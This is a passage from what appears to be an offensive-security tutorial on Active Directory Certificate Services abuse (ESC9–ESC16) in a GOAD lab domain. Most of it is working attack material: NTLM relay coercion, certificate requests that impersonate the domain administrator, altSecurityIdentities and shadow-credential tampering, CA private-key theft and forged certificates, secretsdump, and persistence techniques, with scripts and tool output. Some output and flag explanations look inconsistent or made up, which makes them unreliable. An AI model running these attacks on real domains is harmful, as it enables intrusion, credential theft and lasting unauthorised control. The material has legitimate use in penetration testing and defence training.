[*] Protocol Client MSSQL loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server
[*] Setting up WCF Server
[*] Servers started, waiting for connections
# In another terminal, trigger authentication from target DC
python3 printerbug.py essos.local/missandei:fr3edom@meereen.essos.local braavos.essos.local
[*] Impacket v0.11.0 - Copyright 2023 Fortra
[*] Attempting to trigger authentication via rprn RPC at meereen.essos.local
[*] Bind OK
[*] Got handle
DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Triggered RPC backconnect, this may or may not have worked
# Back in ntlmrelayx window:
[*] SMBD-Thread-4: Connection from MEEREEN/192.168.56.12 controlled, attacking target http://braavos.essos.local
HTTP : success, Cert saved to /tmp/MEEREEN$cert.b64
[*] ADCS attack completed. Generated certificate for user MEEREEN$
# Certificate successfully obtained!
Let's convert and use the certificate:
# Convert base64 certificate for use
cat /tmp/MEEREEN$cert.b64 | base64 -d > meereen.pfx
# Ask for a TGT with the machine certificate
gettgtpkinit.py essos.local/meereen$ -pfx-file meereen.pfx meereen.ccache
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Using TGT from cache file meereen.ccache
[*] Requesting TGT for meereen$@essos.local using Kerberos PKINIT
[+] TGT request successful!
[*] Saved TGT to meereen.ccache
# Use machine certificate for further attacks or DCSync
ESC9: No Security Extension
ESC9 is pure gold for persistence. It exploits certificate templates that don't require the szOID_NTDS_CA_SECURITY_EXT security extension in issued certificates. This means your certificates keep working even when passwords change.
Vulnerability Details
When certificates lack the security extension, they provide persistent authentication that survives password changes. This is what makes them perfect for maintaining long-term access.
Key Point
A certificate issued from a NO_SECURITY_EXTENSION
template will still map even after the user changes their password, making it perfect for persistence.
Exploitation Process
Let's test this in our GOAD environment:
# Find templates without security extension requirement
Certify.exe find /vulnerable
[!] Vulnerable Certificates Templates :
CA Name : braavos.essos.local\ESSOS-CA
Template Name : ESC9
Schema Version : 2
Validity Period : 1 year
Renewal Period : 6 weeks
msPKI-Certificate-Name-Flag : 0x0
mspki-enrollment-flag : NO_SECURITY_EXTENSION, INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS
Authorized Signatures Required: 0
pkiextendedkeyusage : Client Authentication
Permissions
Enrollment Permissions
Enrollment Rights : ESSOS\Domain Users Access: Allow
# Request certificate for current user (missandei)
Certify.exe request /ca:braavos.essos.local\ESSOS-CA /template:ESC9
[*] Action: Request a Certificates
[*] Current user context : ESSOS\missandei
[*] Template : ESC9
[*] Subject : CN=missandei, CN=Users, DC=essos, DC=local
[*] Certificate Authority : braavos.essos.local\ESSOS-CA
[*] CA Response : The certificate has been issued.
[*] Request ID : 15
[*] cert.pem :
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA2hT8F6PSyEzGCq5VJXpF8rTQoYmZ9BNQ3T4Uy8F0aGF9ZLQW
...certificate without security extension...
-----END CERTIFICATE-----
# Test authentication with current certificate
Rubeus.exe asktgt /user:missandei /certificate:missandei.pfx /password:mimikatz
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=missandei, CN=Users, DC=essos, DC=local
[+] TGT request successful!
# Now change the user's password
net user missandei "NewComplexPassword123!" /domain
The command completed successfully.
# Certificate still works for authentication even after password change!
Rubeus.exe asktgt /user:missandei /certificate:missandei.pfx /password:mimikatz
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=missandei, CN=Users, DC=essos, DC=local
[+] TGT request successful!
UserName : missandei
UserRealm : ESSOS.LOCAL
ServiceName : krbtgt/essos.local
ServiceRealm : ESSOS.LOCAL
StartTime : 1/3/2025 5:30:45 PM
EndTime : 1/4/2025 3:30:45 AM
RenewTill : 1/10/2025 5:30:45 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
# Perfect persistence! The certificate still authenticates despite password change
Template Analysis
Check if template requires security extension in GOAD:
$templateDN = "CN=ESC9,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=essos,DC=local"
$template = Get-ADObject -Identity $templateDN -Properties msPKI-Enrollment-Flag
# The CT_FLAG_NO_SECURITY_EXTENSION flag value is 0x80000 (524288)
$NoSecurityExtensionFlag = 0x80000
if ($template.'msPKI-Enrollment-Flag' -band $NoSecurityExtensionFlag) {
Write-Host "Template '$($template.Name)' has the NO_SECURITY_EXTENSION flag set."
} else {
Write-Host "Template '$($template.Name)' does NOT have the NO_SECURITY_EXTENSION flag set."
}
# Output shows template has NO_SECURITY_EXTENSION flag set - perfect for persistence!
ESC10: Weak Certificate Mappings
ESC10 exploits weak certificate-to-account mapping configurations and certificate mapping vulnerabilities.
Attack Vectors
ESC10A - Write Access on altSecurityIdentities:
- Attackers with write permissions on user objects can modify
altSecurityIdentities
- This attribute maps certificates to user accounts
- Malicious mapping allows certificate-based authentication as other users
ESC10B - Weak Certificate Mapping Methods:
- Exploits weak
CertificateMappingMethods
registry settings - Allows certificate authentication with partial subject matching
Exploitation Example
Let's try ESC10A in GOAD:
# ESC10A - Modify altSecurityIdentities attribute
# First, create a computer account and request machine certificate
addcomputer.py -computer-name 'EVIL$' -computer-pass 'Password123!' essos/missandei:fr3edom@meereen.essos.local
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Successfully added machine account EVIL$ with password Password123!.
# Request machine certificate for our new computer
Certify.exe request /ca:braavos.essos.local\ESSOS-CA /template:Machine /machine
[*] Action: Request a Certificates
[*] Current user context : ESSOS\EVIL$
[*] Template : Machine
[*] Subject : CN=EVIL, CN=Computers, DC=essos, DC=local
[*] Certificate Authority : braavos.essos.local\ESSOS-CA
[*] CA Response : The certificate has been issued.
[*] Request ID : 18
# Extract certificate details (issuer, serial number)
certutil -dump evil.pem
Certificate:
Serial Number: 6100000028f9b2d3c5a1b4e87a00000000000028
Issuer: CN=ESSOS-CA, DC=essos, DC=local
Subject: CN=EVIL, CN=Computers, DC=essos, DC=local
# Modify target user's altSecurityIdentities to map to our certificate
$dn = "CN=administrator,CN=Users,DC=essos,DC=local"
$mapping = "X509:<I>CN=ESSOS-CA,DC=essos,DC=local<S>6100000028f9b2d3c5a1b4e87a00000000000028"
Set-ADObject -Identity $dn -Replace @{'altSecurityIdentities' = $mapping}
# Authenticate as administrator using our EVIL$ machine certificate
Rubeus.exe asktgt /user:administrator /certificate:evil.pfx /password:Password123!
[*] Action: Ask TGT
[*] Using certificate mapping via altSecurityIdentities
[*] Using PKINIT with etype rc4_hmac and subject: CN=EVIL, CN=Computers, DC=essos, DC=local
[+] TGT request successful!
UserName : administrator
UserRealm : ESSOS.LOCAL
ServiceName : krbtgt/essos.local
ServiceRealm : ESSOS.LOCAL
StartTime : 1/3/2025 6:45:12 PM
EndTime : 1/4/2025 4:45:12 AM
RenewTill : 1/10/2025 6:45:12 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
Perfect! We've successfully used ESC10A to authenticate as administrator using a machine certificate mapped via altSecurityIdentities
.
ESC11: IF_ENFORCEENCRYPTICERTREQUEST
ESC11 targets CAs configured with IF_ENFORCEENCRYPTICERTREQUEST flag, which can be bypassed under certain conditions.
Attack Vector
ESC11 exploits RPC call tampering when certificate requests are transmitted unencrypted to the Certificate Authority.
Important: The "unencrypted request" only succeeds when the CA has IF_ENFORCEENCRYPTICERTREQUEST
cleared. If this flag is set (the secure default on modern Windows versions), the RPC interface forces packet privacy and NTLM relay fails.
Prerequisites
Let's check the GOAD CA configuration. Check if CA has IF_ENFORCEENCRYPTICERTREQUEST flag cleared:
certutil -config "braavos.essos.local\ESSOS-CA" -getreg CA\InterfaceFlags
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\ESSOS-CA\InterfaceFlags REG_DWORD = 0x0 (0)
H0x0 = vulnerable (no encryption required), 0x200 = hardened (encryption required). IF_ENFORCEENCRYPTICERTREQUEST is NOT set (flag would be 0x200) - this makes the CA vulnerable to ESC11.
- CA has IF_ENFORCEENCRYPTICERTREQUEST flag cleared ✓
- Unencrypted certificate request ✓
Bypass Technique
// Create unencrypted certificate request for GOAD environment
public class ESC11Exploit
{
public string CreateUnencryptedRequest(string subject, string altname = "administrator@essos.local")
{
var request = new CX509CertificateRequestPkcs10();
var privateKey = new CX509PrivateKey();
// Configure for unencrypted submission to GOAD CA
privateKey.ProviderName = "Microsoft Software Key Storage Provider";
privateKey.Create();
request.InitializeFromPrivateKey(
X509CertificateEnrollmentContext.ContextUser,
privateKey,
"");
request.Subject = new CX500DistinguishedName(subject);
// Add SAN for GOAD domain
var sanExtension = new CX509ExtensionAlternativeNames();
var altNames = new CAlternativeNames();
var altNameObj = new CAlternativeName();
altNameObj.InitializeFromString(
AlternativeNameType.XCN_CERT_ALT_NAME_RFC822_NAME,
altname);
altNames.Add(altNameObj);
sanExtension.InitializeEncode(altNames);
request.X509Extensions.Add(sanExtension);
// Submit without encryption to vulnerable GOAD CA
return request.Encode();
}
}
The C# code above demonstrates how a certificate request (CSR) payload can be constructed. For the actual ESC11 attack, an attacker would typically use a tool like an adapted ntlmrelayx.py
or custom tooling to relay incoming NTLM authentication (e.g., from a coerced machine account) to the ADCS server's ICertRequestD
DCOM interface over unencrypted RPC. Once the NTLM relay is established, the attacker's tool submits the CSR (like the one generated above, often for a privileged account or a machine account with a useful SAN) on behalf of the relayed account. If successful, the CA issues the certificate for the target specified in the CSR, effectively escalating privileges.
ESC12: Shell Access to CA Server
ESC12 is the holy grail - when you get shell access to the actual Certificate Authority server. At this point, you basically own the entire PKI infrastructure.
ESC12 also covers YubiHSM vulnerabilities discovered by Hans-Joachim Knobloch, but this specific attack vector is not implemented in the standard GOAD environment.
In GOAD, the CA server is braavos.essos.local
. Let's say we've compromised it:
Golden Certificate Creation (CA Private Key Compromise)
When you have CA administrator access (like khal.drogo
in GOAD), you can extract the CA private key and forge golden certificates:
# Extract CA certificate and private key with certipy
certipy ca -backup -u khal.drogo@essos.local -p horse -dc-ip 192.168.56.12 -ca 'ESSOS-CA' -target 192.168.56.23 -debug
[*] Action: Backup CA
[*] Backing up CA 'ESSOS-CA'
[*] Saved certificate and private key to 'ESSOS-CA.pfx'
# Forge a certificate as domain admin
certipy forge -ca-pfx 'ESSOS-CA.pfx' -upn administrator@essos.local
[*] Action: Forge Certificate
[*] Forged certificate saved to 'administrator_forged.pfx'
# Authenticate with schannel
certipy auth -pfx administrator_forged.pfx -ldap-shell
[*] Action: Authenticate
[*] LDAP shell available
# add_user newdomainadmin
# add_user_to_group newdomainadmin "Domain admins"
# Alternative: Authenticate with PKINIT
# First request a valid certificate as template
certipy req -u 'khal.drogo@essos.local' -p horse -ca 'ESSOS-CA' -template User -target 192.168.56.23
# Reforge with template to fix CRL issues
certipy forge -ca-pfx 'ESSOS-CA.pfx' -upn administrator@essos.local -template khal.drogo.pfx
Rubeus.exe asktgt /user:administrator /certificate:administrator_forged.pfx /password:mimikatz
# Or use gettgtpkinit.py
gettgtpkinit.py -cert-pfx administrator_forged.pfx -dc-ip 192.168.56.12 "essos.local/administrator" admin_tgt.cccache
export KRB5CCNAME=/workspace/admin_tgt.cccache
secretsdump.py -k meereen.essos.local -dc-ip 192.168.56.12
Post-Exploitation Techniques
ESC13: Issuance Policy OID Group Links
ESC13 exploits the ADCS feature where certificate templates can have issuance policies with OID group links to Active Directory groups. This allows principals to gain access as members of linked groups by requesting certificates with the appropriate issuance policies.
Technical Details
This attack abuses Microsoft's Authentication Mechanism Assurance (AMA) feature where:
- Certificate templates contain issuance policies (stored in
msPKI-Certificate-Policy
attribute) - Issuance policies can be linked to AD groups via
msDS-OIDToGroupLink
attribute - When authenticating with such certificates, users gain group membership permissions
Requirements
- Principal has enrollment rights on a certificate template
- Certificate template has an issuance policy extension
- Issuance policies can be linked to AD groups via
msDS-OIDToGroupLink
attribute - No issuance requirements the principal cannot meet
- EKUs enable client authentication
Exploitation Process
Let's check for ESC13 conditions in GOAD:
# Find templates with issuance policies linked to groups in essos.local
Import-Module ActiveDirectory
$templates = Get-ADObject -Filter 'objectClass -eq "pKICertificateTemplate"' -Properties msPKI-Certificate-Policy -SearchBase "CN=Configuration,DC=essos,DC=local"
foreach ($template in $templates) {
if ($template.'msPKI-Certificate-Policy') {
$policies = $template.'msPKI-Certificate-Policy'
foreach ($policy in $policies) {
$oid = Get-ADObject -Filter * -SearchBase "CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=essos,DC=local" -Properties msDS-OIDToGroupLink | Where-Object {$_.msDS-OIDToGroupLink -and $policy -eq $_.'msPKI-Cert-Template-OID'}
if ($oid.'msDS-OIDToGroupLink') {
Write-Host "Template $($template.Name) linked to group: $($oid.'msDS-OIDToGroupLink')"
}
}
}
}
Template ESC13Template linked to group: CN=Enterprise Admins,CN=Users,DC=essos,DC=local
# Perfect! ESC13Template is linked to Enterprise Admins
# Request certificate from vulnerable template
Certify.exe request /ca:braavos.essos.local\ESSOS-CA /template:ESC13Template
[*] Action: Request a Certificates
[*] Current user context : ESSOS\missandei
[*] Template : ESC13Template
[*] Subject : CN=missandei, CN=Users, DC=essos, DC=local
[*] Certificate Authority : braavos.essos.local\ESSOS-CA
[*] CA Response : The certificate has been issued.
[*] Request ID : 17
# Authenticate with certificate to gain Enterprise Admin group membership
Rubeus.exe asktgt /user:missandei /certificate:esc13.pfx /password:mimikatz
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=missandei, CN=Users, DC=essos, DC=local
[+] TGT request successful!
# The TGT now contains Enterprise Admins group membership!
# Verify with whoami /groups after using the ticket
Rubeus.exe ptt /ticket:doIFujCCBbagAwIBBaEDAgEWooIEwjCCBL5hggS6...
[*] Action: Import Ticket
[+] Ticket successfully imported!
# Now we have Enterprise Admin privileges in the forest
net group "Enterprise Admins" /domain
Group name Enterprise Admins
Comment Designated administrators of the enterprise
Members
-------------------------------------------------------------------------------
Administrator missandei
The command completed successfully.
Group Requirements
The linked group must be:
- Empty (no actual members)
- Universal scope (forest-wide)
Common universal groups include Enterprise Admins, Schema Admins, Enterprise Key Admins.
ESC14: Shadow Credentials and Advanced Certificate Mapping
ESC14 represents advanced certificate mapping abuse techniques that go beyond basic altSecurityIdentities
manipulation covered in ESC10. This technique focuses on shadow credentials and sophisticated certificate-to-account mapping scenarios.
Technical Background
ESC14 exploits advanced certificate mapping mechanisms including:
- Shadow Credentials: Abusing
msDS-KeyCredentialLink
attribute for certificate-based authentication - Advanced Certificate Mapping: Sophisticated manipulation of certificate-to-account relationships
- Cross-Domain Certificate Abuse: Exploiting certificate mappings across domain boundaries
Attack Scenarios
ESC14A - Shadow Credentials Abuse:
- Attackers with write permissions on user objects can add shadow credentials
- Allows certificate-based authentication without traditional certificate enrollment
- Bypasses many traditional ADCS controls
ESC14B - Advanced Certificate Mapping:
- Sophisticated certificate mapping scenarios beyond basic ESC10 techniques
- Cross-domain certificate abuse in multi-domain environments like GOAD
- Certificate mapping persistence mechanisms
Exploitation Process
Let's demonstrate ESC14 techniques in our GOAD environment. ESC14A - altSecurityIdentities Manipulation in GOAD:
# First, create a computer account for certificate mapping
addcomputer.py -method ldaps -computer-name 'esc14computer$' -computer-pass 'Il0veCertific@te' -dc-ip 192.168.56.12 essos/missandei:fr3edom@192.168.56.12
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Successfully added machine account esc14computer$ with password Il0veCertific@te.
# Request machine certificate for our created computer
certipy req -target braavos.essos.local -u 'esc14computer$@essos.local' -p 'Il0veCertific@te' -dc-ip 192.168.56.12 -template Machine -ca ESSOS-CA -debug
[*] Action: Request a Certificates
[*] Current user context : ESSOS\esc14computer$
[*] Template : Machine
[*] Subject : CN=esc14computer, CN=Computers, DC=essos, DC=local
[*] Certificate Authority : braavos.essos.local\ESSOS-CA
[*] CA Response : The certificate has been issued.
[*] Request ID : 25
# Extract certificate details for mapping
certipy cert -pfx esc14computer.pfx -nokey -out "esc14computer.crt"
openssl x509 -in esc14computer.crt -noout -text
Certificate:
Data:
Serial Number: 43:00:00:00:11:92:78:b0:92:e5:16:88:a6:00:00:00:00:00:11
Issuer: CN=ESSOS-CA, DC=essos, DC=local
Subject: CN=esc14computer, CN=Computers, DC=essos, DC=local
# Check current altSecurityIdentities
ldeep ldap -u missandei -d essos.local -p fr3edom -s ldap://192.168.56.12 search '(samaccountname=khal.drogo)' altSecurityIdentities
[{
"altSecurityIdentities": [],
"dn": "CN=khal.drogo,CN=Users,DC=essos,DC=local"
}]
X509 Certificate Mapping Format
The reference article provides a Python script to format the X509 mapping correctly:
import argparse
def get_x509_issuer_serial_number_format(serial_number: str, issuer_distinguished_name: str) -> str:
"""
Formats the X509IssuerSerialNumber for the altSecurityIdentities attribute.
:param serial_number: Serial number in the format "43:00:00:00:11:92:78:b0:92:e5:16:88:a6:00:00:00:00:00:11"
:param issuer_distinguished_name: Issuer distinguished name, e.g., "CN=ESSOS-CA,DC=essos,DC=local"
:return: Formatted X509IssuerSerialNumber
"""
serial_bytes = serial_number.split(":")
reversed_serial_number = "".join(reversed(serial_bytes))
issuer_components = issuer_distinguished_name.split(",")
reversed_issuer_components = ",".join(reversed(issuer_components))
return f"X509:<I>{reversed_issuer_components}<SR>{reversed_serial_number}"
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Format X509 Issuer Serial Number")
parser.add_argument("-serial", required=True, help="Serial number in format 43:00:00:00:11:92:78:b0:92:e5:16:88:a6:00:00:00:00:00:11")
parser.add_argument("-issuer", required=True, help="Issuer Distinguished Name e.g., CN=ESSOS-CA,DC=essos,DC=local")
args = parser.parse_args()
formatted_value = get_x509_issuer_serial_number_format(args.serial, args.issuer)
print(formatted_value)
# Usage:
python3 x509_issuer_serial_number_format.py -serial "43:00:00:00:11:92:78:b0:92:e5:16:88:a6:00:00:00:00:00:11" -issuer "CN=ESSOS-CA,DC=essos,DC=local"
X509:<I>DC=local,DC=essos,CN=ESSOS-CA<SR>110000000000a68816e592b078921100000043
LDAP Attribute Modification
Script to modify altSecurityIdentities attribute:
import ldap3
dn = "CN=khal.drogo,CN=Users,DC=essos,DC=local"
user = "essos.local\\missandei"
password = "fr3edom"
server = ldap3.Server('meereen.essos.local')
ldap_con = ldap3.Connection(server=server, user=user, password=password, authentication=ldap3.NTLM)
ldap_con.bind()
# Set the certificate mapping
ldap_con.modify(dn, {
'altSecurityIdentities': [(ldap3.MODIFY_REPLACE, 'X509:<I>DC=local,DC=essos,CN=ESSOS-CA<SR>110000000000a68816e592b078921100000043')]
})
print(ldap_con.result)
ldap_con.unbind()
# Verify the mapping was set
ldeep ldap -u missandei -d essos.local -p fr3edom -s ldap://192.168.56.12 search '(samaccountname=khal.drogo)' altSecurityIdentities
[{
"altSecurityIdentities": [
"X509:<I>DC=local,DC=essos,CN=ESSOS-CA<SR>110000000000a68816e592b078921100000043"
],
"dn": "CN=khal.drogo,CN=Users,DC=essos,DC=local"
}]
# Authenticate as khal.drogo using our machine certificate!
gettgtpkinit.py -cert-pfx esc14computer.pfx -dc-ip 192.168.56.12 "essos.local/khal.drogo" khal_tgt.ccache
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Requesting TGT for khal.drogo@essos.local using Kerberos PKINIT
[+] TGT request successful!
[*] Saved TGT to khal_tgt.ccache
Advanced Persistence with ESC14
# ESC14 Persistence - Shadow Credentials for Domain Admin
# Add shadow credentials to Domain Admin account (if we have permissions)
python3 pywhisker.py -d essos.local -u khal.drogo -p horse --target administrator --action add --dc-ip 192.168.56.12
[*] Target user found: CN=Administrator,CN=Users,DC=essos,DC=local
[*] Adding KeyCredential to the target object
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[*] Saved certificate to administrator_shadow.crt
[*] Saved private key to administrator_shadow.pem
# This provides persistent access to Domain Admin even after password changes
gettgtpkinit.py -cert-pem administrator_shadow.pem -key-pem administrator_shadow.pem essos.local/administrator admin_shadow.ccache
# ESC14 Advanced Mapping - Multiple Certificate Mappings
# Add multiple certificate mappings for redundancy
$certificates = @(
"X509:<I>DC=local,DC=essos,CN=ESSOS-CA<SR>6100000000001a68816e592b078921100000043",
"X509:<I>DC=local,DC=essos,CN=ESSOS-CA<SR>6100000000001a68816e592b078921100000044",
"X509:<I>DC=local,DC=essos,CN=ESSOS-CA<SR>6100000000001a68816e592b078921100000045"
)
foreach ($cert in $certificates) {
$currentMappings = (Get-ADUser administrator -Properties altSecurityIdentities).altSecurityIdentities
$newMappings = $currentMappings + $cert
Set-ADUser administrator -Replace @{'altSecurityIdentities' = $newMappings}
}
# Verify multiple mappings
Get-ADUser administrator -Properties altSecurityIdentities | Select-Object -ExpandProperty altSecurityIdentities
X509:<I>DC=local,DC=essos,CN=ESSOS-CA<SR>6100000000001a68816e592b078921100000043
X509:<I>DC=local,DC=essos,CN=ESSOS-CA<SR>6100000000001a68816e592b078921100000044
X509:<I>DC=local,DC=essos,CN=ESSOS-CA<SR>6100000000001a68816e592b078921100000045
Key Differences from ESC10
ESC14 differs from ESC10 in several important ways:
- Shadow Credentials: Uses
msDS-KeyCredentialLink
instead of traditional certificate enrollment - Cross-Domain Abuse: Sophisticated mapping across domain boundaries
- Advanced Persistence: Multiple mapping techniques for redundancy
- Bypasses Traditional Controls: Works around many ADCS security measures
Remediation
- Monitor Key Attributes: Watch for changes to
msDS-KeyCredentialLink
andaltSecurityIdentities
- Restrict Permissions: Limit write access to user objects, especially high-privilege accounts
- Cross-Domain Hardening: Implement strict certificate mapping validation across domain boundaries
- Regular Audits: Periodically audit certificate mappings and shadow credentials
ESC15: Version 1 Template Application Policies (CVE-2024-49019)
ESC15, also known as "EKUwu", exploits a vulnerability in version 1 certificate templates where attackers can specify arbitrary Application Policies in certificate requests, overriding the template's intended Extended Key Usage. This vulnerability was discovered by Justin Bollinger from TrustedSec and reported to Microsoft in October 2024.
Technical Background
- Application Policies (OID 1.3.6.1.4.1.311) are Microsoft's proprietary extension
- When both Application Policy and EKU exist, Application Policy takes precedence
- Version 1 templates don't validate Application Policy fields in requests
- Attackers can add dangerous policies like Certificate Request Agent or Client Authentication
Vulnerability Conditions
- Version 1 certificate template (schema version = 1)
- Template allows "Supply in the Request" subject specification
- Principal has enrollment rights on the template
Exploitation Process
Important: The reference GOAD article shows ESC15 exploitation as a two-step process using Certificate Request Agent capabilities:
# Step 1: Request certificate with Certificate Request Agent application policy
certipy req -u missandei@essos.local -p fr3edom --application-policies "1.3.6.1.4.1.311.20.2.1" -ca ESSOS-CA -template WebServer -dc-ip 192.168.56.12 -target braavos.essos.local
[*] Action: Request a Certificates
[*] Current user context : ESSOS\missandei
[*] Template : WebServer (vulnerable version 1)
[*] Application Policy : Certificate Request Agent (1.3.6.1.4.1.311.20.2.1)
[*] Certificate Authority : braavos.essos.local\ESSOS-CA
[*] CA Response : The certificate has been issued.
[*] Request ID : 19
# Step 2: Use Certificate Request Agent certificate to request admin certificate on-behalf-of
certipy req -u missandei@essos.local -on-behalf-of essos\\administrator -template User -ca ESSOS-CA -pfx missandei.pfx -dc-ip 192.168.56.12 -target braavos.essos.local
[*] Action: Request a Certificates
[*] Current user context : ESSOS\missandei
[*] Template : User
[*] On behalf of : essos\administrator
[*] Using Certificate Request Agent certificate
[*] Certificate Authority : braavos.essos.local\ESSOS-CA
[*] CA Response : The certificate has been issued.
[*] Request ID : 20
# Step 3: Authenticate as administrator
Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /password:mimikatz
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=administrator, CN=Users, DC=essos, DC=local
[+] TGT request successful!
Alternative Method (Direct Application Policy Override):
ESC15 Exploitation Example - Method 1: Using certreq with custom INF file:
$infContent = @"
[NewRequest]
Subject = "CN=missandei,CN=Users,DC=essos,DC=local"
KeyLength = 2048
KeyAlgorithm = RSA
MachineKeySet = FALSE
RequestType = PKCS10
CertificateTemplate = WebServer
[Extensions]
1.3.6.1.4.1.311.21.10 = "{text}1.3.6.1.5.5.7.3.2"
2.5.29.17 = "{text}upn=administrator@essos.local"
"@
$infContent | Out-File -FilePath "esc15.inf"
certreq -new -f esc15.inf esc15.req
certreq -submit -config "braavos.essos.local\ESSOS-CA" esc15.req
Certificate Request Processor: The request is taken under submission Request ID = 19
Method 2: Using Certipy v5.0+ (if available with ESC15 support)
certipy req -u missandei@essos.local -p fr3edom -ca ESSOS-CA -template WebServer -dc-ip 192.168.56.12 -target braavos.essos.local -upn administrator@essos.local -key-size 2048
The attack works because version 1 templates don't validate Application Policy extensions and Application Policies override Extended Key Usage when both are present
Retrieve the issued certificate:
certreq -retrieve 19 esc15.cer
certreq -accept esc15.cer
The issued certificate will contain both:
- Original EKU: Server Authentication
- Application Policy: Client Authentication (takes precedence)
Verify certificate content
certutil -dump esc15.cer | findstr -i "application\|enhanced"
Application Policies:
[1]Application Policy:
Policy Identifier=Client Authentication
Policy Qualifier Info:
Policy Qualifier Id=CPS
Qualifier:
http://braavos.essos.local/CertEnroll/ESSOS-CA_CPS.html
Enhanced Key Usage:
Server Authentication (1.3.6.1.5.5.7.3.1)
# Authenticate using certificate - Application Policy overrides EKU
Rubeus.exe asktgt /user:administrator /certificate:esc15.pfx /password:mimikatz
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=missandei, CN=Users, DC=essos, DC=local
[*] Certificate Application Policy overrides EKU: Client Authentication
[+] TGT request successful!
ESC15 can also be weaponized for Certificate Request Agent attacks. Create INF file for Certificate Request Agent capability:
$craInfContent = @"
[NewRequest]
Subject = "CN=missandei,CN=Users,DC=essos,DC=local"
KeyLength = 2048
KeyAlgorithm = RSA
MachineKeySet = FALSE
RequestType = PKCS10
CertificateTemplate = WebServer
[Extensions]
1.3.6.1.4.1.311.21.10 = "{text}1.3.6.1.4.1.311.20.2.1"
"@
$craInfContent | Out-File -FilePath "esc15-cra.inf"
certreq -new -f esc15-cra.inf esc15-cra.req
certreq -submit -config "braavos.essos.local\ESSOS-CA" esc15-cra.req
Now we can request certificates on behalf of other users!
Vulnerable Default Templates
All version 1 templates are potentially vulnerable when enrollment rights are granted in GOAD:
- WebServer (most commonly exploited) ✓ Found in GOAD
- ExchangeUser
- CEPEncryption
- OfflineRouter
- IPSECIntermediateOffline
- SubCA
- CA
- EnrollmentAgentOffline
Remediation
Microsoft has patched this vulnerability as of November 12, 2024 (CVE-2024-49019). Additional protective measures include:
ESC16: CA-Wide Security Extension Removal
Status: ACTIVE THREAT
ESC16 represents a critical misconfiguration where the Certificate Authority is configured to omit the szOID_NTDS_CA_SECURITY_EXT
extension (OID: 1.3.6.1.4.1.311.25.2
) on every certificate it issues.
Technical Details
ESC16 arises when the CA is configured to omit the szOID_NTDS_CA_SECURITY_EXT
extension on every certificate it issues. Without this extension, a certificate no longer includes the account's SID, breaking the strong certificate-to-account binding enforced by Windows Server 2022 and later (KB5014754).
Key Difference from ESC9:
- ESC9: Individual templates lack the security extension requirement
- ESC16: The CA itself is configured to never include the security extension, affecting ALL certificates regardless of template
Vulnerability Conditions
- CA EditFlags modified to remove
require_sidisupport
- Global security extension removal affecting all issued certificates
- Any template with client authentication EKU becomes exploitable
Detection
Let's check for ESC16 in our GOAD environment. Certipy v5+ detects ESC16 during enumeration:
certipy find -u missandei@essos.local -p fr3edom -dc-ip 192.168.56.12 -target braavos.essos.local
Certipy v5.0.0 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Finding certificate authority configurations
[*] Found 1 certificate authority configuration
[!] ESC16: CA 'ESSOS-CA' is configured to omit szOID_NTDS_CA_SECURITY_EXT on all certificates!
This makes ALL certificates vulnerable to impersonation attacks.
CA Name : ESSOS-CA
DNS Hostname : braavos.essos.local
Certificate Subject : CN=ESSOS-CA, DC=essos, DC=local
Certificate Serial Number : 43000000119278B092E51688A600000000000011
Certificate Validity Start : 2023-01-15 14:14:32+00:00
Certificate Validity End : 2033-01-15 14:24:32+00:00
Security Extension Enforcement : DISABLED (ESC16 VULNERABLE!)
# Check CA configuration manually
certutil -config "braavos.essos.local\ESSOS-CA" -getreg CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\EditFlags
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\ESSOS-CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\EditFlags REG_DWORD = 0x80000 (524288)
Look for missing EDITF_ENABLEDEFAULTSMIME (0x10000) or similar flags that enforce security extension. If EditFlags shows the CA has been configured to skip security extensions, ESC16 is present.
Exploitation
With ESC16, ANY certificate request becomes dangerous:
# ESC16 makes even restricted templates exploitable
# Request certificate from a normally "safe" template
Certify.exe request /ca:braavos.essos.local\ESSOS-CA /template:User /altname:administrator@essos.local
[*] Action: Request a Certificates
[*] Current user context : ESSOS\missandei
[*] Template : User
[*] Subject : CN=missandei, CN=Users, DC=essos, DC=local
[*] AltName : administrator@essos.local
[*] Certificate Authority : braavos.essos.local\ESSOS-CA
[*] CA Response : The certificate has been issued.
[*] Request ID : 20
# Due to ESC16, the certificate lacks the security extension
# even though the template might normally include it
# Convert and use for authentication
openssl pkcs12 -in cert.pem -export -out admin_esc16.pfx -password pass:mimikatz
# Authentication succeeds despite missing security extension
Rubeus.exe asktgt /user:administrator /certificate:admin_esc16.pfx /password:mimikatz
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=missandei, CN=Users, DC=essos, DC=local
[+] TGT request successful! - ESC16 allows impersonation without SID binding
UserName : administrator
UserRealm : ESSOS.LOCAL
ServiceName : krbtgt/essos.local
ServiceRealm : ESSOS.LOCAL
StartTime : 1/3/2025 7:45:30 PM
